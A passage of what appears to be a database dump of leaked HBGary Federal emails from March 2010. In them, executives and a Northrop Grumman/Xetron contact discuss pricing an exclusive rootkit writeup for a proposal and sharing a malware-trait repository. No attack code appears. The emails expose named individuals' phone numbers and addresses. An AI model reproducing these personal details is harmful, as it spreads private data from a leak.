rootkit concept as an option into our current proposal.&nbsp; If so, I need data (cost and input) for&nbsp;the proposal by COB today, tomorrow at the latest.2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;For the next proposal, would you be interested in teaming to use AFR as a discriminator?&nbsp; I need to convince the proposal lead but if you are interested, I will try.&nbsp; Could make for a story that&nbsp;no one else would think to tell.&nbsp;Brian&nbsp;Brian MastersonNorthrop Grumman/XetronChief Technology Officer, IO ProgramsPh: 513-881-3591Cell: 513-706-4848Fax: 513-881-3877&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.733 / Virus Database: 271.1.1/2718 - Release Date: 03/03/10 14:34:00\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',1155,'aaron_hbgary_com/1155.html'),(3492,'2010-03-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001736.M303908P3547Q3492.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','ok lets start with this for discussion as a framework','\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',15878,'aaron_hbgary_com/15878.html'),(3493,'2010-03-04','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001738.M223782P3547Q3494.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: ok lets start with this for discussion as a framework','Aaron,\r\n\r\nFYI, the graphics in the doc are all scrambled.  You might want to save them\r\nas bit map files and insert those instead.\r\n\r\nBob \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, March 04, 2010 9:13 AM\r\nTo: Ted Vera\r\nCc: Bob Slapnik\r\nSubject: ok lets start with this for discussion as a framework\r\n\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.733 / Virus Database: 271.1.1/2718 - Release Date: 03/03/10\r\n14:34:00\r\n\r\n',3140,'aaron_hbgary_com/3140.html'),(3494,'2010-03-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001738.M430449P3547Q3495.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Two things','ok I got the writup for the 12monkeys rootkit. &nbsp;Working on cost. &nbsp;Don\'t know...would it be exclusive I am guessing? &nbsp;Do you have a PGP Key?AaronOn Mar 4, 2010, at 8:25 AM, Masterson, Brian (Xetron) wrote:\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I have to know if you want me to insert Greg’s new rootkit concept as an option into our current proposal.&nbsp; If so, I need data (cost and input) for the proposal by COB today, tomorrow at the latest.2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; For the next proposal, would you be interested in teaming to use AFR as a discriminator?&nbsp; I need to convince the proposal lead but if you are interested, I will try.&nbsp; Could make for a story that no one else would think to tell.&nbsp; BrianBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, IO Programs\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11975,'aaron_hbgary_com/11975.html'),(3495,'2010-03-04','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297001738.M6556P3547Q3493.eml','\"Aaron Barr\" <aaron@hbgary.com>','Encrypted file','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;ll send my key separately.\r\n\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',3961,'aaron_hbgary_com/3961.html'),(3496,'2010-03-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001738.M732220P3547Q3496.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: ok lets start with this for discussion as a framework','Any idea what we would charge?\r\n\r\nAaron\r\n\r\nOn Mar 4, 2010, at 10:26 AM, Bob Slapnik wrote:\r\n\r\n> Aaron,\r\n> \r\n> FYI, the graphics in the doc are all scrambled.  You might want to save them\r\n> as bit map files and insert those instead.\r\n> \r\n> Bob \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, March 04, 2010 9:13 AM\r\n> To: Ted Vera\r\n> Cc: Bob Slapnik\r\n> Subject: ok lets start with this for discussion as a framework\r\n> \r\n> \r\n> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n> \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com \r\n> Version: 9.0.733 / Virus Database: 271.1.1/2718 - Release Date: 03/03/10\r\n> 14:34:00\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',8461,'aaron_hbgary_com/8461.html'),(3497,'2010-03-04','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001738.M927907P3547Q3497.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Two things','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nYes on exclusive.&nbsp; No on PGP.&nbsp; Won&#8217;t work.&nbsp; Getting one badge in\r\ntwo weeks which solves the problem.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, March 04, 2010 10:31 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Two things\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nok I got the writup for the 12monkeys rootkit. &nbsp;Working\r\non cost. &nbsp;Don\'t know...would it be exclusive I am guessing? &nbsp;Do you\r\nhave a PGP Key?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 4, 2010, at 8:25 AM, Masterson, Brian (Xetron) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nI have to know if you want me\r\nto insert Greg&#8217;s new rootkit concept as an option into our current\r\nproposal.&nbsp; If so, I need data (cost and input) for the proposal by COB today, tomorrow\r\nat the latest.\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFor the next proposal, would\r\nyou be interested in teaming to use AFR as a discriminator?&nbsp; I need to\r\nconvince the proposal lead but if you are interested, I will try.&nbsp; Could\r\nmake for a story that no\r\none else would think to tell.&nbsp; \r\n\r\nBrian\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian\r\nMasterson\r\nNorthrop\r\nGrumman/Xetron\r\nChief\r\nTechnology Officer, IO Programs\r\nPh:\r\n513-881-3591\r\nCell:\r\n513-706-4848\r\nFax:\r\n513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9380,'aaron_hbgary_com/9380.html'),(3498,'2010-03-04','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001739.M163111P3547Q3498.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Two things','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nNot trying to nag but while I am running through actions, we\r\nneed your malware repository with the traits.&nbsp; The guys working the cyber\r\nthreat IRAD need access to the data.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, March 04, 2010 10:31 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Two things\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nok I got the writup for the 12monkeys rootkit. &nbsp;Working\r\non cost. &nbsp;Don\'t know...would it be exclusive I am guessing? &nbsp;Do you\r\nhave a PGP Key?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 4, 2010, at 8:25 AM, Masterson, Brian (Xetron) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nI have to know if you want me\r\nto insert Greg&#8217;s new rootkit concept as an option into our current\r\nproposal.&nbsp; If so, I need data (cost and input) for the proposal by COB today, tomorrow\r\nat the latest.\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFor the next proposal, would\r\nyou be interested in teaming to use AFR as a discriminator?&nbsp; I need to\r\nconvince the proposal lead but if you are interested, I will try.&nbsp; Could\r\nmake for a story that no\r\none else would think to tell.&nbsp; \r\n\r\nBrian\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian\r\nMasterson\r\nNorthrop\r\nGrumman/Xetron\r\nChief\r\nTechnology Officer, IO Programs\r\nPh:\r\n513-881-3591\r\nCell:\r\n513-706-4848\r\nFax:\r\n513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8130,'aaron_hbgary_com/8130.html'),(3499,'2010-03-04','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001739.M489099P3547Q3499.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Two things','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSorry Aaron.&nbsp; I was up all night working.\r\n\r\nThanks!\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, March 04, 2010 10:31 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Two things\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nok I got the writup for the 12monkeys rootkit. &nbsp;Working\r\non cost. &nbsp;Don\'t know...would it be exclusive I am guessing? &nbsp;Do you\r\nhave a PGP Key?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 4, 2010, at 8:25 AM, Masterson, Brian (Xetron) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nI have to know if you want me\r\nto insert Greg&#8217;s new rootkit concept as an option into our current\r\nproposal.&nbsp; If so, I need data (cost and input) for the proposal by COB today, tomorrow\r\nat the latest.\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nFor the next proposal, would\r\nyou be interested in teaming to use AFR as a discriminator?&nbsp; I need to\r\nconvince the proposal lead but if you are interested, I will try.&nbsp; Could\r\nmake for a story that no\r\none else would think to tell.&nbsp; \r\n\r\nBrian\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian\r\nMasterson\r\nNorthrop\r\nGrumman/Xetron\r\nChief\r\nTechnology Officer, IO Programs\r\nPh:\r\n513-881-3591\r\nCell:\r\n513-706-4848\r\nFax:\r\n513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',7809,'aaron_hbgary_com/7809.html'),(3500,'2010-03-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001740.M766024P3547Q3500.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Two things','PDF is password protected...call for password.\r\n\r\nAaron\r\n\r\n\r\n\r\nOn Mar 4, 2010, at 8:25 AM, Masterson, Brian (Xetron) wrote:\r\n\r\n> 1.      I have to know if you want me to insert Greg’s new rootkit concept as an option into our current proposal.  If so, I need data (cost and input) for the proposal by COB today, tomorrow at the latest.\r\n> \r\n> 2.      For the next proposal, would you be interested in teaming to use AFR as a discriminator?  I need to convince the proposal lead but if you are interested, I will try.  Could make for a story that no one else would think to tell. \r\n> \r\n> Brian\r\n> \r\n> \r\n> Brian Masterson\r\n> Northrop Grumman/Xetron\r\n> Chief Technology Officer, IO Programs\r\n> Ph: 513-881-3591\r\n> Cell: 513-706-4848\r\n> Fax: 513-881-3877\r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',4058,'aaron_hbgary_com/4058.html'),(3501,'2010-03-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001740.M991101P3547Q3501.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Two things','OK still working on the repository, its slow because everyone that can make decisions and actually provide access are to the four corners doing stuff. &nbsp;DARPA thing has me swamped...ok excuses over.Traits are in responder but not accessible in total. &nbsp;You need access to a list of all the traits? &nbsp;I am going to be asked why...brain fried, so what is the why? &nbsp;The one thing we won\'t be able to push out externally is our algorithms for doing the scoring...but would we need that?I am going to feel better when this proposal is over.On Mar 4, 2010, at 10:33 AM, Masterson, Brian (Xetron) wrote:Not trying to nag but while I am running through actions, we need your malware repository with the traits.&nbsp; The guys working the cyber threat IRAD need access to the data.&nbsp;Brian Masterson&nbsp;Northrop Grumman/Xetron&nbsp;Chief Technology Officer, IO Programs&nbsp;Ph: 513-881-3591&nbsp;Cell: 513-706-4848&nbsp;Fax: 513-881-3877&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, March 04, 2010 10:31 AMTo:&nbsp;Masterson, Brian (Xetron)Subject:&nbsp;Re: Two things&nbsp;ok I got the writup for the 12monkeys rootkit. &nbsp;Working on cost. &nbsp;Don\'t know...would it be exclusive I am guessing? &nbsp;Do you have a PGP Key?&nbsp;Aaron&nbsp;On Mar 4, 2010, at 8:25 AM, Masterson, Brian (Xetron) wrote:1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;I have to know if you want me to insert Greg’s new rootkit concept as an option into our current proposal.&nbsp; If so, I need data (cost and input) for&nbsp;the proposal by COB today, tomorrow at the latest.2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;For the next proposal, would you be interested in teaming to use AFR as a discriminator?&nbsp; I need to convince the proposal lead but if you are interested, I will try.&nbsp; Could make for a story that&nbsp;no one else would think to tell.&nbsp;Brian&nbsp;Brian MastersonNorthrop Grumman/XetronChief Technology Officer, IO ProgramsPh: 513-881-3591Cell: 513-706-4848Fax: 513-881-3877&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11937,'aaron_hbgary_com/11937.html'),(3502,'2010-03-04','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297001741.M179963P3547Q3502.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Two things','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nNeed the repository with the detected traits for each item\r\nincluded.&nbsp; Need to know what the traits are but not how they are detected nor\r\nhow the overall scoring is calculated.&nbsp; Just need to know what traits\r\ncontributed to the score and what the traits are.\r\n\r\n&nbsp;\r\n\r\nAgree with you on that.&nbsp; However, I am going to submit to AFRL\r\nafter this one.\r\n\r\n&nbsp;\r\n\r\nWill call for the password in a bit.&nbsp; Getting ready for a Jadik\r\nmtg.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, March 04, 2010 10:41 AM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Two things\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nOK still working on the repository, its slow because\r\neveryone that can make decisions and actually provide access are to the four\r\ncorners doing stuff. &nbsp;DARPA thing has me swamped...ok excuses over.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTraits are in responder but not accessible in total.\r\n&nbsp;You need access to a list of all the traits? &nbsp;I am going to be asked\r\nwhy...brain fried, so what is the why? &nbsp;The one thing we won\'t be able to\r\npush out externally is our algorithms for doing the scoring...but would we need\r\nthat?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI am going to feel better when this proposal is over.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 4, 2010, at 10:33 AM, Masterson, Brian (Xetron) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNot trying to nag but while I am running through actions, we\r\nneed your malware repository with the traits.&nbsp; The guys working the cyber\r\nthreat IRAD need access to the data.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBrian Masterson&nbsp;\r\nNorthrop Grumman/Xetron&nbsp;\r\nChief Technology Officer, IO Programs&nbsp;\r\nPh: 513-881-3591&nbsp;\r\nCell: 513-706-4848&nbsp;\r\nFax: 513-881-3877\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Thursday, March 04,\r\n2010 10:31 AM\r\nTo:&nbsp;Masterson, Brian\r\n(Xetron)\r\nSubject:&nbsp;Re: Two things\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nok I got the writup for the 12monkeys rootkit. &nbsp;Working\r\non cost. &nbsp;Don\'t know...would it be exclusive I am guessing? &nbsp;Do you\r\nhave a PGP Key?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 4, 2010, at 8:25 AM, Masterson, Brian (Xetron) wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;I\r\nhave to know if you want me to insert Greg&#8217;s new rootkit concept as an option\r\ninto our current proposal.&nbsp; If so, I need data (cost and input) for&nbsp;the\r\nproposal by COB today, tomorrow at the latest.\r\n\r\n2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;For\r\nthe next proposal, would you be interested in teaming to use AFR as a\r\ndiscriminator?&nbsp; I need to convince the proposal lead but if you are\r\ninterested, I will try.&nbsp; Could make for a story that&nbsp;no\r\none else would think to tell.&nbsp;\r\n\r\nBrian\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nBrian\r\nMasterson\r\nNorthrop\r\nGrumman/Xetron\r\nChief\r\nTechnology Officer, IO Programs\r\nPh:\r\n513-881-3591\r\nCell:\r\n513-706-4848\r\nFax:\r\n513-881-3877\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',8906,'aaron_hbgary_com/8906.html'),(3503,'2010-03-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001741.M427376P3547Q3503.eml','\"Christopher H. Starr\" <Chris.Starr@gd-ais.com>','Dawn','Chris,\r\n\r\nTo clarify.  The goal is to get the necessary NDA and Teaming agreements to include them on the team, but she will understand the restrictions we will have under the relationship?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',4291,'aaron_hbgary_com/4291.html'),(3504,'2010-03-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297001741.M612062P3547Q3504.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>,\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Two things','Got it. &nbsp;Ted does that currently exist in the database by each piece of malware. &nbsp;What is the easiest way to do this?AaronOn Mar 4, 2010, at 10:48 AM, Masterson, Brian (Xetron) wrote:Need the repository with the detected traits for each item included.&nbsp; Need to know what the traits are but not how they are detected nor how the overall scoring is calculated.&nbsp; Just need to know what traits contributed to the score and what the traits are.&nbsp;Agree with you on that.&nbsp; However, I am going to submit to AFRL after this one.&nbsp;Will call for the password in a bit.&nbsp; Getting ready for a Jadik mtg.&nbsp;Brian Masterson&nbsp;Northrop Grumman/Xetron&nbsp;Chief Technology Officer, IO Programs&nbsp;Ph: 513-881-3591&nbsp;Cell: 513-706-4848&nbsp;Fax: 513-881-3877&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, March 04, 2010 10:41 AMTo:&nbsp;Masterson, Brian (Xetron)Subject:&nbsp;Re: Two things&nbsp;OK still working on the repository, its slow because everyone that can make decisions and actually provide access are to the four corners doing stuff. &nbsp;DARPA thing has me swamped...ok excuses over.&nbsp;Traits are in responder but not accessible in total. &nbsp;You need access to a list of all the traits? &nbsp;I am going to be asked why...brain fried, so what is the why? &nbsp;The one thing we won\'t be able to push out externally is our algorithms for doing the scoring...but would we need that?&nbsp;I am going to feel better when this proposal is over.&nbsp;On Mar 4, 2010, at 10:33 AM, Masterson, Brian (Xetron) wrote:Not trying to nag but while I am running through actions, we need your malware repository with the traits.&nbsp; The guys working the cyber threat IRAD need access to the data.&nbsp;Brian Masterson&nbsp;Northrop Grumman/Xetron&nbsp;Chief Technology Officer, IO Programs&nbsp;Ph: 513-881-3591&nbsp;Cell: 513-706-4848&nbsp;Fax: 513-881-3877&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Thursday, March 04, 2010 10:31 AMTo:&nbsp;Masterson, Brian (Xetron)Subject:&nbsp;Re: Two things&nbsp;ok I got the writup for the 12monkeys rootkit. &nbsp;Working on cost. &nbsp;Don\'t know...would it be exclusive I am guessing? &nbsp;Do you have a PGP Key?&nbsp;Aaron&nbsp;On Mar 4, 2010, at 8:25 AM, Masterson, Brian (Xetron) wrote:1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;I have to know if you want me to insert Greg’s new rootkit concept as an option into our current proposal.&nbsp; If so, I need data (cost and input) for&nbsp;the proposal by COB today, tomorrow at the latest.2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;For the next proposal, would you be interested in teaming to use AFR as a discriminator?&nbsp; I need to convince the proposal lead but if you are interested, I will try.&nbsp; Could make for a story that&nbsp;no one else would think to tell.&nbsp;Brian&nbsp;Brian MastersonNorthrop Grumman/XetronChief Technology Officer, IO ProgramsPh: 513-881-3591Cell: 513-706-4848Fax: 513-881-3877&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',1898,'aaron_hbgary_com/1898.html'),(3505,'2010-03-04','\"Google Calendar\" <calendar-notification@google.com>','/aaron@hbgary.com/new/1297001741.M808969P3547Q3505.eml','\"Aaron Barr\" <aaron@hbgary.com>','Reminder: AFCEA Luncheon @ Thu Mar 4 11:15am - 12:15pm 	(aaron@hbgary.com)',' more details &raquo;AFCEA LuncheonWhenThu Mar 4 11:15am – 12:15pm Eastern TimeWhereRitz Carlton Pentagon (map)Calendaraaron@hbgary.comWho&#x2022;Aaron Barr - organizerInvitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for reminders on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',16588,'aaron_hbgary_com/16588.html'),(3506,'2010-03-04','\"Aaron Barr\" <adbarr@me.com>','/aaron@hbgary.com/new/1297001741.M978135P3547Q3506.eml','aaron@hbgary.com','Alarm - AFCEA Luncheon','March 4, 2010 11:15 AM : AFCEA Luncheon \r\n',9445,'aaron_hbgary_com/9445.html'),(3507,'2010-03-04','shane.sims@us.pwc.com','/aaron@hbgary.com/new/1297001742.M259609P3547Q3507.eml','aaron@hbgary.com,ted@hbgary.com','Re: PwC Statement Of Quals','\r\nGood morning Gents,\r\nIs the interest still there on your\r\npart?\r\n\r\nRegards, Shane\r\n___________________________________________________________________________________________________________\r\nShane Sims, Director\r\n| Advisory - Forensic Services | PricewaterhouseCoopers | Mobile:\r\n202 262 9735 | shane.sims@us.pwc.com\r\nInvestigations - Crisis Management\r\n- Risk Assessments:\r\nCybercrime &amp; Data Theft | Insider Threat | Fraud &amp; Abuse | Money\r\nLaundering | Advanced Due Diligence | FCPA \r\nThe 